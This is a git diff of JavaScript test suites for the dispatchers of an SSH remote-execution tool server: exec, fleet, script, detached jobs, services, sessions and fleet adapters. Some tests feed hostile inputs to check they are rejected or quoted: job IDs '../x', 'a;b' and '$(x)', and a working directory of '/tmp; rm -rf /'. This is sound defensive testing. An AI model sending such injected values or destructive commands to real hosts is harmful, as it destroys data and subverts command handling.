assert.strictEqual(executeGroup.calls.length, 1); + assert.strictEqual(executeGroup.calls[0].resolveGroup, DEPS.resolveGroup); + assert.strictEqual(executeGroup.calls[0].getConnection, DEPS.getConnection); +}); + +// End-to-end through the REAL handleSshExecuteGroup -- DEPS.resolveGroup yields +// the production { name, servers:[...] } object, not a bare array. +await test('fleet end-to-end: real handler accepts the production object shape', async () => { + const r = await handleSshRun({ + deps: { + ...DEPS, + getConnection: async () => fakeClient('uptime-out'), + // exact shape DEPS.resolveGroup returns in src/index.js + resolveGroup: (g) => ({ name: g, servers: ['a', 'b'] }), + }, + handlers: { executeGroup: handleSshExecuteGroup }, + args: { action: 'fleet', group: 'web', command: 'uptime', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true, 'object-shape group runs, no OOM loop'); + assert.strictEqual(res.data.total, 2); + assert.strictEqual(res.data.succeeded, 2); +}); + +// A nonexistent group: production resolveGroup catches getGroup's throw and +// returns null -> structured fail, never a raw crash through the dispatcher. +await test('fleet end-to-end: unknown group -> structured isError, no crash', async () => { + const r = await handleSshRun({ + deps: { + ...DEPS, + getConnection: async () => { throw new Error('should not connect'); }, + resolveGroup: () => null, // mirrors getGroup-throws-caught path + }, + handlers: { executeGroup: handleSshExecuteGroup }, + args: { action: 'fleet', group: 'does-not-exist', command: 'uptime' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('has no servers')); +}); + +// --- arg validation ------------------------------------------------------ +await test('exec without command -> structured fail, handler never called', async () => { + const execute = spy(); + const r = await handleSshRun({ + deps: DEPS, handlers: { execute }, + args: { server: 's', action: 'exec' }, + }); + assert.strictEqual(execute.calls.length, 0, 'handler not invoked'); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('command')); +}); + +await test('exec without server -> structured fail', async () => { + const r = await handleSshRun({ + deps: DEPS, handlers: { execute: spy() }, + args: { action: 'exec', command: 'ls' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +await test('fleet without group -> structured fail', async () => { + const r = await handleSshRun({ + deps: DEPS, handlers: { executeGroup: spy() }, + args: { action: 'fleet', command: 'ls' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('group')); +}); + +await test('unknown action -> structured fail naming the action', async () => { + const r = await handleSshRun({ + deps: DEPS, handlers: {}, + args: { server: 's', action: 'teleport' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('teleport')); +}); + +await test('missing action -> structured fail', async () => { + const r = await handleSshRun({ deps: DEPS, handlers: {}, args: { server: 's' } }); + assert.strictEqual(r.isError, true); +}); + +// --- fake ssh2 client for the exec-direct actions (script/detach/jobs) --- +function fakeClient(stdout) { + const script = []; + const client = { + exec(command, cb) { + script.push(command); + const listeners = {}; + const stream = { + stderr: { on() { return stream.stderr; } }, + on(ev, fn) { (listeners[ev] = listeners[ev] || []).push(fn); return stream; }, + close() {}, + signal() {}, + }; + cb(null, stream); + setImmediate(() => { + const out = typeof stdout === 'function' ? stdout(command) : stdout; + for (const fn of listeners.data || []) fn(Buffer.from(out)); + for (const fn of listeners.close || []) fn(0, null); + }); + return client; + }, + }; + client.script = script; + return client; +} + +// --- script action ------------------------------------------------------ +await test('script without commands -> structured fail, never connects', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'script' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('script runs the joined command and threads the real nonce to the parser', async () => { + // The fake echoes back a sentinel block built from the SAME nonce the + // dispatcher generated; only a correctly-threaded nonce parses it. + const client = fakeClient((command) => { + const m = command.match(/##SEG-([0-9a-f]{12}) /); + const nonce = m ? m[1] : 'BADNONCE'; + return `a-out\n##SEG-${nonce} 0 0##\nb-out\n##SEG-${nonce} 1 0##\n`; + }); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'script', commands: ['echo a', 'echo b'], format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'script'); + assert.strictEqual(res.data.segments.length, 2, + 'nonce threaded correctly -> both segments parsed'); + assert.strictEqual(res.data.segments[0].stdout, 'a-out'); + assert.strictEqual(res.data.segments[0].exitCode, 0); + assert.strictEqual(res.data.segments[0].command, 'echo a'); + assert.strictEqual(res.data.segments[1].stdout, 'b-out'); +}); + +await test('script surfaces a per-segment non-zero exit code', async () => { + const client = fakeClient((command) => { + const nonce = command.match(/##SEG-([0-9a-f]{12}) /)[1]; + return `ok\n##SEG-${nonce} 0 0##\n\n##SEG-${nonce} 1 127##\n`; + }); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'script', commands: ['true', 'nosuchcmd'], format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.segments[1].exitCode, 127); +}); + +await test('script isolate:true wraps each segment in its own sh -c', async () => { + const client = fakeClient((command) => { + const nonce = command.match(/##SEG-([0-9a-f]{12}) /)[1]; + return `\n##SEG-${nonce} 0 0##\n\n##SEG-${nonce} 1 0##\n`; + }); + await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'script', commands: ['cd /tmp', 'pwd'], isolate: true }, + }); + const subs = client.script[0].match(/sh -c /g) || []; + assert.strictEqual(subs.length, 2, 'one sub-shell per segment when isolated'); +}); + +await test('script renders a per-segment table in the markdown face', async () => { + const client = fakeClient((command) => { + const nonce = command.match(/##SEG-([0-9a-f]{12}) /)[1]; + return `hello\n##SEG-${nonce} 0 0##\n`; + }); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'script', commands: ['echo hello'] }, + }); + assert.strictEqual(r.isError, false); + assert(r.content[0].text.includes('echo hello'), 'segment command rendered'); +}); + +await test('script connection failure -> structured fail', async () => { + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => { throw new Error('host down'); } }, + handlers: {}, args: { server: 's', action: 'script', commands: ['echo x'] }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('host down')); +}); + +// --- detach action ------------------------------------------------------ +await test('detach without command -> structured fail, never connects', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'detach' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('detach launches a setsid job and returns its job id', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'detach', command: 'long-build.sh', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'detach'); + assert(typeof res.data.job_id === 'string' && res.data.job_id.length > 0, + 'job id returned for later job-status / job-kill'); + assert(client.script[0].includes('setsid'), 'job detached from the SSH session'); + assert(client.script[0].includes(res.data.job_id), 'launch command uses the job id'); +}); + +await test('detach returns the log path for incremental reads', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'detach', command: 'make all', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert(res.data.log_path.includes(res.data.job_id), 'log path under the job dir'); +}); + +await test('detach honors an explicit job_id', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { + server: 's', action: 'detach', command: 'echo hi', + job_id: 'my-build-1', format: 'json', + }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.job_id, 'my-build-1'); +}); + +await test('detach with a hostile job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'detach', command: 'echo hi', job_id: '../x' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('invalid job id')); + assert.strictEqual(client.script.length, 0, 'builder threw before exec'); +}); + +// --- job-status action -------------------------------------------------- +await test('job-status without job_id -> structured fail, never connects', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'job-status' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('job-status reports a finished job with its exit code', async () => { + const client = fakeClient( + 'STATE=present\nRC=0\nPID=1234\nLOGSIZE=512\n##LOG##\nbuild complete'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'job-7', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'job-status'); + assert.strictEqual(res.data.state, 'done'); + assert.strictEqual(res.data.exit_code, 0); + assert.strictEqual(res.data.log_size, 512); + assert.strictEqual(res.data.log_chunk, 'build complete'); +}); + +await test('job-status reports a still-running job (rc absent)', async () => { + const client = fakeClient( + 'STATE=present\nRC=\nPID=4567\nLOGSIZE=88\n##LOG##\npartial'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'job-8', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.state, 'running'); + assert.strictEqual(res.data.exit_code, null); +}); + +await test('job-status threads since_offset into the status command', async () => { + const client = fakeClient('STATE=present\nRC=\nPID=1\nLOGSIZE=9000\n##LOG##\ntail'); + await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'j', since_offset: 4096 }, + }); + // tail -c is 1-indexed: offset 4096 -> +4097 + assert(client.script[0].includes('4097'), 'since_offset + 1 threaded into tail -c'); +}); + +await test('job-status of a missing job -> unknown state', async () => { + const client = fakeClient('STATE=missing'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'gone', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.data.state, 'unknown'); +}); + +await test('job-status with a hostile job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-status', job_id: 'a;b' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('invalid job id')); + assert.strictEqual(client.script.length, 0); +}); + +// --- job-kill action ---------------------------------------------------- +await test('job-kill without job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, args: { server: 's', action: 'job-kill' }, + }); + assert.strictEqual(r.isError, true); + assert.strictEqual(client.script.length, 0); +}); + +await test('job-kill signals the job process group and reports back', async () => { + const client = fakeClient('killed 4567'); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-kill', job_id: 'job-9', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'job-kill'); + assert(client.script[0].includes('TERM'), 'graceful TERM in the kill command'); + assert(client.script[0].includes('KILL'), 'KILL escalation in the kill command'); + assert(String(res.data.result).includes('killed'), 'kill confirmation surfaced'); +}); + +await test('job-kill with a hostile job_id -> structured fail', async () => { + const client = fakeClient(''); + const r = await handleSshRun({ + deps: { ...DEPS, getConnection: async () => client }, + handlers: {}, + args: { server: 's', action: 'job-kill', job_id: '$(x)' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('invalid job id')); + assert.strictEqual(client.script.length, 0); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-service.js b/tests/test-dispatcher-service.js new file mode 100644 index 0000000..18dc82a --- /dev/null +++ b/tests/test-dispatcher-service.js @@ -0,0 +1,110 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_service v4 dispatcher (src/dispatchers/ssh-service.js). + * Run: node tests/test-dispatcher-service.js + */ +import assert from 'assert'; +import { handleSshService } from '../src/dispatchers/ssh-service.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_service dispatcher\n'); + +await test('status routes to handlers.serviceStatus, maps service through', async () => { + const serviceStatus = spy(); + await handleSshService({ + deps: DEPS, handlers: { serviceStatus }, + args: { server: 's', action: 'status', service: 'nginx' }, + }); + assert.strictEqual(serviceStatus.calls.length, 1); + assert.strictEqual(serviceStatus.calls[0].args.service, 'nginx'); + assert.strictEqual(serviceStatus.calls[0].getConnection, DEPS.getConnection); +}); + +await test('restart routes to handlers.systemctl with action+unit set', async () => { + const systemctl = spy(); + await handleSshService({ + deps: DEPS, handlers: { systemctl }, + args: { server: 's', action: 'restart', service: 'nginx' }, + }); + assert.strictEqual(systemctl.calls.length, 1); + assert.strictEqual(systemctl.calls[0].args.action, 'restart'); + assert.strictEqual(systemctl.calls[0].args.unit, 'nginx'); +}); + +await test('start/stop/enable/disable all route to handlers.systemctl', async () => { + for (const action of ['start', 'stop', 'enable', 'disable']) { + const systemctl = spy(); + await handleSshService({ + deps: DEPS, handlers: { systemctl }, + args: { server: 's', action, service: 'sshd' }, + }); + assert.strictEqual(systemctl.calls.length, 1, `${action} reached systemctl`); + assert.strictEqual(systemctl.calls[0].args.action, action); + assert.strictEqual(systemctl.calls[0].args.unit, 'sshd'); + } +}); + +await test('restart forwards preview flag to systemctl', async () => { + const systemctl = spy(); + await handleSshService({ + deps: DEPS, handlers: { systemctl }, + args: { server: 's', action: 'restart', service: 'nginx', preview: true }, + }); + assert.strictEqual(systemctl.calls[0].args.preview, true); +}); + +await test('status missing service -> structured fail, handler not called', async () => { + const serviceStatus = spy(); + const r = await handleSshService({ + deps: DEPS, handlers: { serviceStatus }, + args: { server: 's', action: 'status' }, + }); + assert.strictEqual(serviceStatus.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('service')); +}); + +await test('restart missing service -> structured fail', async () => { + const r = await handleSshService({ + deps: DEPS, handlers: { systemctl: spy() }, + args: { server: 's', action: 'restart' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('service')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshService({ deps: DEPS, handlers: {}, args: { server: 's', action: 'reload-all' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('reload-all')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-session.js b/tests/test-dispatcher-session.js new file mode 100644 index 0000000..8193025 --- /dev/null +++ b/tests/test-dispatcher-session.js @@ -0,0 +1,137 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_session v4 dispatcher (src/dispatchers/ssh-session.js). + * Run: node tests/test-dispatcher-session.js + */ +import assert from 'assert'; +import { handleSshSession } from '../src/dispatchers/ssh-session.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_session dispatcher\n'); + +await test('start routes to handlers.start with { getConnection, args }', async () => { + const start = spy(); + await handleSshSession({ + deps: DEPS, handlers: { start }, + args: { server: 's', action: 'start' }, + }); + assert.strictEqual(start.calls.length, 1); + assert.strictEqual(start.calls[0].getConnection, DEPS.getConnection); + assert.strictEqual(start.calls[0].args.server, 's'); +}); + +await test('send routes to handlers.send with { args } only', async () => { + const send = spy(); + await handleSshSession({ + deps: DEPS, handlers: { send }, + args: { action: 'send', session_id: 'sess-1', command: 'ls' }, + }); + assert.strictEqual(send.calls.length, 1); + assert.deepStrictEqual(Object.keys(send.calls[0]), ['args']); + assert.strictEqual(send.calls[0].args.session_id, 'sess-1'); + assert.strictEqual(send.calls[0].args.command, 'ls'); +}); + +await test('list routes to handlers.list with { args } only', async () => { + const list = spy(); + await handleSshSession({ + deps: DEPS, handlers: { list }, + args: { action: 'list' }, + }); + assert.strictEqual(list.calls.length, 1); + assert.deepStrictEqual(Object.keys(list.calls[0]), ['args']); +}); + +await test('close routes to handlers.close', async () => { + const close = spy(); + await handleSshSession({ + deps: DEPS, handlers: { close }, + args: { action: 'close', session_id: 'sess-1' }, + }); + assert.strictEqual(close.calls.length, 1); + assert.strictEqual(close.calls[0].args.session_id, 'sess-1'); +}); + +await test('replay routes to handlers.replay with limit', async () => { + const replay = spy(); + await handleSshSession({ + deps: DEPS, handlers: { replay }, + args: { action: 'replay', session_id: 'sess-1', limit: 5 }, + }); + assert.strictEqual(replay.calls.length, 1); + assert.strictEqual(replay.calls[0].args.limit, 5); +}); + +await test('memory routes to handlers.memory', async () => { + const memory = spy(); + await handleSshSession({ + deps: DEPS, handlers: { memory }, + args: { action: 'memory', session_id: 'sess-1' }, + }); + assert.strictEqual(memory.calls.length, 1); +}); + +await test('start missing server -> structured fail, handler not called', async () => { + const start = spy(); + const r = await handleSshSession({ + deps: DEPS, handlers: { start }, + args: { action: 'start' }, + }); + assert.strictEqual(start.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +await test('send missing command -> structured fail', async () => { + const r = await handleSshSession({ + deps: DEPS, handlers: { send: spy() }, + args: { action: 'send', session_id: 'sess-1' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('command')); +}); + +await test('close missing session_id -> structured fail', async () => { + const r = await handleSshSession({ + deps: DEPS, handlers: { close: spy() }, + args: { action: 'close' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('session_id')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshSession({ deps: DEPS, handlers: {}, args: { action: 'detach' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('detach')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-exec-tools.js b/tests/test-exec-tools.js index 7e5b18b..df7d999 100644 --- a/tests/test-exec-tools.js +++ b/tests/test-exec-tools.js @@ -10,6 +10,7 @@ import { handleSshExecuteSudo, handleSshExecuteGroup, } from '../src/tools/exec-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -33,8 +34,13 @@ class FakeClient { this.script = script || (() => ({ stdout: '', stderr: '', code: 0 })); this.streams = []; this.lastCommand = null; + this.lastRawCommand = null; // verbatim, wrapper intact -- for raw-bypass checks } - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper so + // script dispatch + lastCommand assertions see the real command. + this.lastRawCommand = rawCmd; + const cmd = unwrapTimeout(rawCmd); this.lastCommand = cmd; const s = new FakeStream(); this.streams.push(s); @@ -65,7 +71,7 @@ await test('ssh_execute: success renders [ok] marker + exit 0', async () => { }); assert.strictEqual(r.isError, undefined); const md = r.content[0].text; - assert(md.startsWith('[ok] **ssh_execute**')); + assert(md.startsWith('[ok] ssh_execute')); assert(md.includes('exit 0')); assert(md.includes('hi')); }); @@ -79,6 +85,26 @@ await test('ssh_execute: cwd shell-safely quoted in remote command', async () => assert.strictEqual(client.lastCommand, 'cd \'/tmp; rm -rf /\' && ls'); }); +await test('ssh_execute: non-raw command IS wrapped in the OS timeout utility', async () => { + const client = new FakeClient({ script: () => ({ stdout: 'ok', code: 0 }) }); + await handleSshExecute({ + getConnection: async () => client, + args: { server: 's', command: 'ls' }, + }); + // Default exec is timed -> wrapped via `timeout -k N N sh -c ''`. + assert(/^timeout -k \d+ \d+ sh -c /.test(client.lastRawCommand), 'timeout wrapper applied'); +}); + +await test('ssh_execute: raw:true bypasses the OS timeout wrapper', async () => { + const client = new FakeClient({ script: () => ({ stdout: 'ok', code: 0 }) }); + await handleSshExecute({ + getConnection: async () => client, + args: { server: 's', command: 'exec mybinary', raw: true }, + }); + // raw:true -> command sent verbatim, no `timeout` prefix. + assert.strictEqual(client.lastRawCommand, 'exec mybinary', 'raw command sent verbatim'); +}); + await test('ssh_execute: non-zero exit renders [err] marker (not isError)', async () => { const client = new FakeClient({ script: () => ({ stdout: '', stderr: 'nope', code: 127 }) }); const r = await handleSshExecute({ @@ -86,7 +112,7 @@ await test('ssh_execute: non-zero exit renders [err] marker (not isError)', asyn args: { server: 's', command: 'missing' }, }); assert.strictEqual(r.isError, undefined, 'non-zero is not tool-level error'); - assert(r.content[0].text.startsWith('[err] **ssh_execute**')); + assert(r.content[0].text.startsWith('[err] ssh_execute')); assert(r.content[0].text.includes('exit 127')); }); @@ -107,7 +133,7 @@ await test('ssh_execute: preview:true returns dry-run card, does NOT call getCon }); assert.strictEqual(called, false, 'getConnection must not be called in preview'); assert(r.content[0].text.includes('dry run')); - assert(r.content[0].text.includes('"action": "exec"')); + assert(/^\s*action\s+exec$/m.test(r.content[0].text), 'action value is exec'); assert(r.content[0].text.includes('prod01')); }); @@ -193,8 +219,8 @@ await test('ssh_execute_sudo: preview returns high-risk dry-run, never calls rem }); assert.strictEqual(called, false); const md = r.content[0].text; - assert(md.includes('"action": "exec-sudo"')); - assert(md.includes('"risk": "high"')); + assert(/^\s*action\s+exec-sudo$/m.test(md), 'action value is exec-sudo'); + assert(/^\s*risk\s+high$/m.test(md), 'risk value is high'); assert(md.includes('password never enters argv')); }); @@ -288,6 +314,48 @@ await test('ssh_execute_group: empty group returns structured failure', async () assert(r.content[0].text.includes('has no servers')); }); +// resolveGroup PRODUCTION shape is the object { name, servers:[...] }, not a +// bare array (see DEPS.resolveGroup in src/index.js). A bare-array stub misses +// this -- before the fix the object shape OOM-looped pMap and crashed the server. +await test('ssh_execute_group: accepts the production { name, servers:[...] } object shape', async () => { + const clients = { + s1: new FakeClient({ script: () => ({ stdout: 'ok1', code: 0 }) }), + s2: new FakeClient({ script: () => ({ stdout: 'ok2', code: 0 }) }), + }; + const r = await handleSshExecuteGroup({ + getConnection: async (s) => clients[s], + // exact shape DEPS.resolveGroup returns in production + resolveGroup: async (g) => ({ name: g, servers: ['s1', 's2'] }), + args: { group: 'web', command: 'uptime', format: 'json' }, + }); + const parsed = JSON.parse(r.content[0].text); + assert.strictEqual(parsed.success, true, 'object-shape group resolves, no infinite loop'); + assert.strictEqual(parsed.data.total, 2); + assert.strictEqual(parsed.data.succeeded, 2); + assert.deepStrictEqual(parsed.data.results.map(x => x.server), ['s1', 's2']); +}); + +await test('ssh_execute_group: production object with empty servers -> structured failure', async () => { + const r = await handleSshExecuteGroup({ + getConnection: async () => { throw new Error('nope'); }, + resolveGroup: async (g) => ({ name: g, servers: [] }), + args: { group: 'empty', command: 'x' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('has no servers')); +}); + +// Unknown group: DEPS.resolveGroup catches getGroup's throw and returns null. +await test('ssh_execute_group: resolveGroup returning null -> structured failure, no crash', async () => { + const r = await handleSshExecuteGroup({ + getConnection: async () => { throw new Error('nope'); }, + resolveGroup: async () => null, + args: { group: 'ghost', command: 'x' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('has no servers')); +}); + await test('ssh_execute_group: preview shows fan-out plan, never connects', async () => { let called = false; const r = await handleSshExecuteGroup({ @@ -297,7 +365,7 @@ await test('ssh_execute_group: preview shows fan-out plan, never connects', asyn }); assert.strictEqual(called, false); assert(r.content[0].text.includes('dry run')); - assert(r.content[0].text.includes('"action": "exec-group"')); + assert(/^\s*action\s+exec-group$/m.test(r.content[0].text), 'action value is exec-group'); assert(r.content[0].text.includes('s1, s2')); }); diff --git a/tests/test-fleet-adapters.js b/tests/test-fleet-adapters.js new file mode 100644 index 0000000..e764ef7 --- /dev/null +++ b/tests/test-fleet-adapters.js @@ -0,0 +1,184 @@ +#!/usr/bin/env node +/** + * Tests for src/fleet-adapters.js -- the ssh_fleet action bodies lifted out + * of index.js inline closures. Each adapter is exercised with injected deps. + * Run: node tests/test-fleet-adapters.js + */ +import assert from 'assert'; +import { + fleetServers, fleetGroups, fleetAliases, fleetCommandAlias, fleetProfiles, + fleetHooks, fleetHistory, fleetConnections, +} from '../src/fleet-adapters.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function isMcp(r) { + return r && Array.isArray(r.content) && r.content[0] && r.content[0].type === 'text'; +} + +console.log('[test] Testing fleet-adapters\n'); + +await test('fleetServers lists configured servers from deps.loadServerConfig', async () => { + const r = await fleetServers({ + args: {}, + deps: { loadServerConfig: () => ({ web1: { host: 'h1', user: 'u', port: '22' } }) }, + }); + assert(isMcp(r), 'returns MCP response'); + assert(r.content[0].text.includes('web1'), 'names the server'); +}); + +await test('fleetGroups op=list returns an MCP response', async () => { + const r = await fleetGroups({ + args: { op: 'list' }, + deps: { listGroups: () => [], createGroup: () => ({}), updateGroup: () => ({}), + deleteGroup: () => {}, addServersToGroup: () => ({}), removeServersFromGroup: () => ({}) }, + }); + assert(isMcp(r)); +}); + +await test('fleetGroups op=add without name -> isError', async () => { + const r = await fleetGroups({ + args: { op: 'add' }, + deps: { listGroups: () => [], createGroup: () => ({}), updateGroup: () => ({}), + deleteGroup: () => {}, addServersToGroup: () => ({}), removeServersFromGroup: () => ({}) }, + }); + assert.strictEqual(r.isError, true); +}); + +await test('fleetAliases op=list returns an MCP response', async () => { + const r = await fleetAliases({ + args: { op: 'list' }, + deps: { listAliases: () => [], addAlias: () => {}, removeAlias: () => {}, + loadServerConfig: () => ({}), resolveServerName: () => 'web1' }, + }); + assert(isMcp(r)); +}); + +await test('fleetCommandAlias op=list returns an MCP response', async () => { + const r = await fleetCommandAlias({ + args: { op: 'list' }, + deps: { listCommandAliases: () => [], addCommandAlias: () => true, + removeCommandAlias: () => true, suggestAliases: () => [] }, + }); + assert(isMcp(r)); +}); + +await test('fleetCommandAlias op=add forwards alias+command to addCommandAlias', async () => { + const calls = []; + const r = await fleetCommandAlias({ + args: { op: 'add', alias: 'gs', command: 'git status' }, + deps: { listCommandAliases: () => [], addCommandAlias: (a, c) => { calls.push([a, c]); return true; }, + removeCommandAlias: () => true, suggestAliases: () => [] }, + }); + assert(isMcp(r)); + assert.deepStrictEqual(calls[0], ['gs', 'git status']); + assert(r.content[0].text.includes('gs')); +}); + +await test('fleetCommandAlias op=add without command -> isError', async () => { + const r = await fleetCommandAlias({ + args: { op: 'add', alias: 'gs' }, + deps: { listCommandAliases: () => [], addCommandAlias: () => true, + removeCommandAlias: () => true, suggestAliases: () => [] }, + }); + assert.strictEqual(r.isError, true); +}); + +await test('fleetCommandAlias op=suggest forwards search term to suggestAliases', async () => { + const calls = []; + const r = await fleetCommandAlias({ + args: { op: 'suggest', command: 'git' }, + deps: { listCommandAliases: () => [], addCommandAlias: () => true, + removeCommandAlias: () => true, suggestAliases: (c) => { calls.push(c); return []; } }, + }); + assert(isMcp(r)); + assert.strictEqual(calls[0], 'git'); +}); + +await test('fleetProfiles op=list returns an MCP response', async () => { + const r = await fleetProfiles({ + args: { op: 'list' }, + deps: { listProfiles: () => [], setActiveProfile: () => true, + getActiveProfileName: () => 'default', loadProfile: () => ({}) }, + }); + assert(isMcp(r)); +}); + +await test('fleetHooks op=list returns an MCP response', async () => { + const r = await fleetHooks({ + args: { op: 'list' }, + deps: { listHooks: () => [], toggleHook: () => {} }, + }); + assert(isMcp(r)); +}); + +await test('fleetHistory returns an MCP response from deps.logger', async () => { + const r = await fleetHistory({ + args: { limit: 5 }, + deps: { logger: { getHistory: () => [] } }, + }); + assert(isMcp(r)); +}); + +await test('fleetHistory search filters command history', async () => { + const rows = [ + { server: 's', command: 'git status', success: true }, + { server: 's', command: 'ls -la', success: true }, + ]; + const r = await fleetHistory({ + args: { limit: 10, search: 'git' }, + deps: { logger: { getHistory: () => rows } }, + }); + assert(isMcp(r)); + assert(r.content[0].text.includes('git status'), 'matched row kept'); + assert(!r.content[0].text.includes('ls -la'), 'unmatched row dropped'); +}); + +await test('fleetGroups op=add forwards description to createGroup', async () => { + const calls = []; + const r = await fleetGroups({ + args: { op: 'add', name: 'web', description: 'frontend tier' }, + deps: { + listGroups: () => [], + createGroup: (n, m, opts) => { calls.push(opts); return { servers: [] }; }, + updateGroup: () => ({}), 